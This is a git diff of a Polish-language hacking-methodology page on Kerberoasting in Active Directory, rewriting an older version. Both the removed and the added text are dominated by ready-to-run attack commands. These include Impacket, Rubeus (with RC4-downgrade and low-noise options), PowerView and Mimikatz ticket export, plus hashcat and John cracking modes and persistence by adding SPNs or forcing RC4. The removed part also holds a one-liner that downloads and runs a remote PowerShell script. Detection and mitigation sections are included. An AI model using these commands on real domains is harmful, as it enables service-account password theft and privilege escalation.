diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 20b42c209..32df6b6b3 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -4,172 +4,215 @@ ## Kerberoast -Kerberoasting koncentruje się na pozyskiwaniu **biletów TGS**, szczególnie tych związanych z usługami działającymi pod **konto użytkownika** w **Active Directory (AD)**, z wyłączeniem **kont komputerów**. Szyfrowanie tych biletów wykorzystuje klucze pochodzące z **haseł użytkowników**, co umożliwia **łamanie poświadczeń offline**. Użycie konta użytkownika jako usługi wskazuje na niepustą właściwość **"ServicePrincipalName"**. +Kerberoasting koncentruje się na pozyskiwaniu biletów TGS, szczególnie tych związanych z usługami działającymi na kontach użytkowników w Active Directory (AD), z wyłączeniem kont komputerów. Szyfrowanie tych biletów wykorzystuje klucze pochodzące z haseł użytkowników, co umożliwia łamanie haseł offline. Użycie konta użytkownika jako usługi wskazuje na niepustą właściwość ServicePrincipalName (SPN). -Aby wykonać **Kerberoasting**, niezbędne jest konto domenowe zdolne do żądania **biletów TGS**; jednak proces ten nie wymaga **specjalnych uprawnień**, co czyni go dostępnym dla każdego z **ważnymi poświadczeniami domenowymi**. +Każdy uwierzytelniony użytkownik domeny może żądać biletów TGS, więc nie są potrzebne żadne specjalne uprawnienia. -### Kluczowe punkty: +### Kluczowe punkty -- **Kerberoasting** celuje w **bilety TGS** dla **usług kont użytkowników** w **AD**. -- Bilety szyfrowane kluczami z **haseł użytkowników** mogą być **łamane offline**. -- Usługa jest identyfikowana przez **ServicePrincipalName**, który nie jest pusty. -- **Nie są potrzebne specjalne uprawnienia**, wystarczą **ważne poświadczenia domenowe**. - -### **Atak** +- Celuje w bilety TGS dla usług, które działają na kontach użytkowników (tj. konta z ustawionym SPN; nie konta komputerów). +- Bilety są szyfrowane kluczem pochodzącym z hasła konta usługi i mogą być łamane offline. +- Nie są wymagane podwyższone uprawnienia; każde uwierzytelnione konto może żądać biletów TGS. > [!WARNING] -> **Narzędzia Kerberoasting** zazwyczaj żądają **`RC4 encryption`** podczas przeprowadzania ataku i inicjowania żądań TGS-REQ. Dzieje się tak, ponieważ **RC4 jest** [**słabszy**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i łatwiejszy do złamania offline przy użyciu narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.\ -> Hashe RC4 (typ 23) zaczynają się od **`$krb5tgs$23$*`**, podczas gdy AES-256 (typ 18) zaczynają się od **`$krb5tgs$18$*`**.` -> Ponadto, bądź ostrożny, ponieważ `Rubeus.exe kerberoast` automatycznie żąda biletów dla WSZYSTKICH podatnych kont, co może prowadzić do wykrycia. Najpierw znajdź użytkowników nadających się do kerberoastingu z interesującymi uprawnieniami, a następnie uruchom to tylko na nich. -```bash +> Większość publicznych narzędzi preferuje żądanie biletów serwisowych RC4-HMAC (typ 23), ponieważ są one szybsze do złamania niż AES. Hashe TGS RC4 zaczynają się od `$krb5tgs$23$*`, AES128 od `$krb5tgs$17$*`, a AES256 od `$krb5tgs$18$*`. Jednak wiele środowisk przechodzi na wyłącznie AES. Nie zakładaj, że tylko RC4 jest istotne. +> Ponadto unikaj „spray-and-pray” roasting. Domyślny kerberoast Rubeusa może zapytywać i żądać biletów dla wszystkich SPN-ów i jest głośny. Najpierw enumeruj i celuj w interesujące zasady. -#### **Linux** - -```bash -# Metasploit framework -msf> use auxiliary/gather/get_user_spns -# Impacket -GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Hasło zostanie poproszone -GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast -# kerberoast: https://github.com/skelsec/kerberoast -kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Wymień użytkowników kerberoastable -kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Zrzutuj hashe -``` - -Multi-features tools including a dump of kerberoastable users: - -```bash -# ADenum: https://github.com/SecuProject/ADenum -adenum -d -ip -u -p -c -``` - -#### Windows - -- **Enumerate Kerberoastable users** - -```bash -# Uzyskaj użytkowników do Kerberoast -setspn.exe -Q */* #To jest wbudowany plik binarny. Skup się na kontach użytkowników -Get-NetUser -SPN | select serviceprincipalname #Powerview -.\Rubeus.exe kerberoast /stats -``` - -- **Technique 1: Ask for TGS and dump it from memory** - -```bash -# Pobierz TGS z pamięci dla pojedynczego użytkownika -Add-Type -AssemblyName System.IdentityModel -New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Przykład: MSSQLSvc/mgmt.domain.local - -# Pobierz TGS dla WSZYSTKICH kont nadających się do kerberoast (w tym PC, nie jest to zbyt mądre) -setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } - -# Wyświetl bilety kerberos w pamięci -klist - -# Wyciągnij je z pamięci -Invoke-Mimikatz -Command '"kerberos::list /export"' #Eksportuj bilety do bieżącego folderu - -# Przekształć bilet kirbi do john -python2.7 kirbi2john.py sqldev.kirbi -# Przekształć john do hashcat -sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat -``` - -- **Technique 2: Automatic tools** - -```bash -# Powerview: Pobierz hash Kerberoast użytkownika -Request-SPNTicket -SPN "" -Format Hashcat #Używając PowerView Ex: MSSQLSvc/mgmt.domain.local -# Powerview: Pobierz wszystkie hashe Kerberoast -Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation - -# Rubeus -.\Rubeus.exe kerberoast /outfile:hashes.kerberoast -.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specyficzny użytkownik -.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Pobierz administratorów - -# Invoke-Kerberoast -iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") -Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast -``` - -> [!WARNING] -> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. - -### Cracking - -```bash -john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast -hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt -./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -``` - -### Persistence - -If you have **enough permissions** over a user you can **make it kerberoastable**: - -```bash -Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose -``` - -You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) - -If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: - -- `ntpdate ` - Deprecated as of Ubuntu 16.04 -- `rdate -n ` - -### Mitigation - -Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: - -- The service name should not be **krbtgt**, as this is a normal request. -- Service names ending with **$** should be excluded to avoid including machine accounts used for services. -- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. -- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. -- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. - -```bash -Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message -``` - -To mitigate the risk of Kerberoasting: - -- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. -- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. - -By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. - -## Kerberoast w/o domain account - -In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). - -The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). - -> [!WARNING] -> You must provide a list of users because we don't have a valid account to query the LDAP using this technique. +### Atak #### Linux - -- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): - ```bash -GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ -``` +# Metasploit Framework +msf> use auxiliary/gather/get_user_spns +# Impacket — request and save roastable hashes (prompts for password) +GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast +# With NT hash +GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast +# Target a specific user’s SPNs only (reduce noise) +GetUserSPNs.py -request-user -dc-ip / + +# kerberoast by @skelsec (enumerate and roast) +# 1) Enumerate kerberoastable users via LDAP +kerberoast ldap spn 'ldap+ntlm-password://\\:@' -o kerberoastable +# 2) Request TGS for selected SPNs and dump +kerberoast spnroast 'kerberos+password://\\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes +``` +Narzędzia wielofunkcyjne, w tym kontrole kerberoast: +```bash +# ADenum: https://github.com/SecuProject/ADenum +adenum -d -ip -u -p -c +``` #### Windows -- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): +- Wymień użytkowników podatnych na kerberoasting +```powershell +# Built-in +setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($) -```bash -Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" +# PowerView +Get-NetUser -SPN | Select-Object serviceprincipalname + +# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.) +.\Rubeus.exe kerberoast /stats ``` +- Technika 1: Poproś o TGS i zrzut z pamięci +```powershell +# Acquire a single service ticket in memory for a known SPN +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "" # e.g. MSSQLSvc/mgmt.domain.local -## References +# Get all cached Kerberos tickets +klist + +# Export tickets from LSASS (requires admin) +Invoke-Mimikatz -Command '"kerberos::list /export"' + +# Convert to cracking formats +python2.7 kirbi2john.py .\some_service.kirbi > tgs.john +# Optional: convert john -> hashcat etype23 if needed +sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat +``` +- Technika 2: Narzędzia automatyczne +```powershell +# PowerView — single SPN to hashcat format +Request-SPNTicket -SPN "" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast +# PowerView — all user SPNs -> CSV +Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation + +# Rubeus — default kerberoast (be careful, can be noisy) +.\Rubeus.exe kerberoast /outfile:hashes.kerberoast +# Rubeus — target a single account +.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast +# Rubeus — target admins only +.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap +``` +> [!WARNING] +> Żądanie TGS generuje zdarzenie zabezpieczeń systemu Windows 4769 (żądanie biletu usługi Kerberos). + +### OPSEC i środowiska tylko z AES + +- Celowo żądaj RC4 dla kont bez AES: +- Rubeus: `/rc4opsec` używa tgtdeleg do enumeracji kont bez AES i żąda biletów usługi RC4. +- Rubeus: `/tgtdeleg` z kerberoast również wyzwala żądania RC4 tam, gdzie to możliwe. +- Piecz AES-tylko konta zamiast cicho zawodzić: +- Rubeus: `/aes` enumeruje konta z włączonym AES i żąda biletów usługi AES (typ 17/18). +- Jeśli już posiadasz TGT (PTT lub z .kirbi), możesz użyć `/ticket:` z `/spn:` lub `/spns:` i pominąć LDAP. +- Celowanie, ograniczanie i mniej hałasu: +- Użyj `/user:`, `/spn:`, `/resultlimit:`, `/delay:` i `/jitter:<1-100>`. +- Filtruj prawdopodobnie słabe hasła używając `/pwdsetbefore:` (starsze hasła) lub celuj w uprzywilejowane OU z `/ou:`. + +Przykłady (Rubeus): +```powershell +# Kerberoast only AES-enabled accounts +.\Rubeus.exe kerberoast /aes /outfile:hashes.aes +# Request RC4 for accounts without AES (downgrade via tgtdeleg) +.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4 +# Roast a specific SPN with an existing TGT from a non-domain-joined host +.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local +``` +### Łamanie +```bash +# John the Ripper +john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast + +# Hashcat +# RC4-HMAC (etype 23) +hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt +# AES128-CTS-HMAC-SHA1-96 (etype 17) +hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt +# AES256-CTS-HMAC-SHA1-96 (etype 18) +hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt +``` +### Persistence / Abuse + +Jeśli kontrolujesz lub możesz modyfikować konto, możesz uczynić je kerberoastable, dodając SPN: +```powershell +Set-DomainObject -Identity -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose +``` +Obniż konto, aby włączyć RC4 dla łatwiejszego łamania (wymaga uprawnień do zapisu na docelowym obiekcie): +```powershell +# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective +Set-ADUser -Identity -Replace @{msDS-SupportedEncryptionTypes=4} +# Mixed RC4+AES (value 28) +Set-ADUser -Identity -Replace @{msDS-SupportedEncryptionTypes=28} +``` +Możesz znaleźć przydatne narzędzia do ataków kerberoast tutaj: https://github.com/nidem/kerberoast + +Jeśli napotkasz ten błąd z systemu Linux: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)`, jest to spowodowane różnicą czasu lokalnego. Synchronizuj z DC: + +- `ntpdate ` (przestarzałe w niektórych dystrybucjach) +- `rdate -n ` + +### Wykrywanie + +Kerberoasting może być dyskretny. Poluj na zdarzenie ID 4769 z DC i zastosuj filtry, aby zredukować szum: + +- Wyklucz nazwę usługi `krbtgt` oraz nazwy usług kończące się na `$` (konta komputerów). +- Wyklucz żądania z kont maszyn (`*$$@*`). +- Tylko udane żądania (Kod błędu `0x0`). +- Śledź typy szyfrowania: RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Nie alarmuj tylko na `0x17`. + +Przykład triage w PowerShell: +```powershell +Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 | +Where-Object { +($_.Message -notmatch 'krbtgt') -and +($_.Message -notmatch '\$$') -and +($_.Message -match 'Failure Code:\s+0x0') -and +($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and +($_.Message -notmatch '\$@') +} | +Select-Object -ExpandProperty Message +``` +Dodatkowe pomysły: + +- Ustal normalne użycie SPN dla każdego hosta/użytkownika; alarmuj o dużych skokach liczby różnych żądań SPN z jednego głównego. +- Zgłoś nietypowe użycie RC4 w domenach wzmocnionych AES. + +### Łagodzenie / Wzmocnienie + +- Używaj gMSA/dMSA lub kont maszynowych dla usług. Zarządzane konta mają losowe hasła o długości 120+ znaków i automatycznie się zmieniają, co czyni łamanie offline niepraktycznym. +- Wymuś AES na kontach usługowych, ustawiając `msDS-SupportedEncryptionTypes` na tylko AES (dziesiętnie 24 / szesnastkowo 0x18), a następnie zmień hasło, aby klucze AES były pochodne. +- Tam, gdzie to możliwe, wyłącz RC4 w swoim środowisku i monitoruj próby użycia RC4. Na DC możesz użyć wartości rejestru `DefaultDomainSupportedEncTypes`, aby ustawić domyślne dla kont bez ustawionego `msDS-SupportedEncryptionTypes`. Testuj dokładnie. +- Usuń niepotrzebne SPN z kont użytkowników. +- Używaj długich, losowych haseł kont usługowych (25+ znaków), jeśli zarządzane konta nie są możliwe; zakazuj powszechnych haseł i regularnie audytuj. + +### Kerberoast bez konta domenowego (ST żądane przez AS) + +We wrześniu 2022 roku Charlie Clark pokazał, że jeśli główny nie wymaga wstępnej autoryzacji, możliwe jest uzyskanie biletu usługi za pomocą skonstruowanego KRB_AS_REQ, zmieniając sname w treści żądania, skutecznie uzyskując bilet usługi zamiast TGT. To odzwierciedla AS-REP roasting i nie wymaga ważnych poświadczeń domenowych. + +Zobacz szczegóły: artykuł Semperis „Nowe ścieżki ataku: ST żądane przez AS”. + +> [!WARNING] +> Musisz dostarczyć listę użytkowników, ponieważ bez ważnych poświadczeń nie możesz zapytać LDAP tą techniką. + +Linux + +- Impacket (PR #1413): +```bash +GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/ +``` +Windows + +- Rubeus (PR #139): +```powershell +Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE +``` +Powiązane + +Jeśli celujesz w użytkowników, których można poddać atakowi AS-REP, zobacz także: + +{{#ref}} +asreproast.md +{{#endref}} + +## Odniesienia - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) +- Microsoft Security Blog (2024-10-11) – Wytyczne Microsoftu w celu złagodzenia Kerberoasting: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/ +- SpecterOps – Dokumentacja Rubeus Roasting: https://docs.specterops.io/ghostpack/rubeus/roasting {{#include ../../banners/hacktricks-training.md}}